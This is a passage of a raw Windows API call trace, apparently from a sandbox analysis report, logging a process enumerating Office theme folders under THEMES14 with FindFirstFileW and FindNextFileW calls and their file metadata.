dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0080.419] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.420] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0080.420] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0080.420] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0080.420] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0080.420] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0080.421] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0080.421] GetProcessHeap () returned 0x550000 [0080.421] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0080.421] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0080.421] GetProcessHeap () returned 0x550000 [0080.421] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0080.421] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0080.688] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.689] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0080.689] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0080.689] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0080.689] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0080.689] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0080.689] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0080.690] GetProcessHeap () returned 0x550000 [0080.690] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0080.690] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0080.690] GetProcessHeap () returned 0x550000 [0080.690] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0080.690] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0081.046] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.047] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0081.047] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0081.047] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0081.047] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0081.047] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0081.047] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0081.048] GetProcessHeap () returned 0x550000 [0081.048] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0081.048] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0081.048] GetProcessHeap () returned 0x550000 [0081.048] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0081.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0081.354] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.354] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0081.354] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1 [0081.354] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0081.355] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0081.355] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0081.355] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0081.355] GetProcessHeap () returned 0x550000 [0081.355] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0081.355] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0081.356] GetProcessHeap () returned 0x550000 [0081.356] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0081.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0081.624] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.624] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0081.624] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0081.624] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0081.624] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0081.624] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0081.625] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0081.625] GetProcessHeap () returned 0x550000 [0081.625] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0081.625] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0081.625] GetProcessHeap () returned 0x550000 [0081.625] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0081.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0081.626] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.626] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0081.626] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, 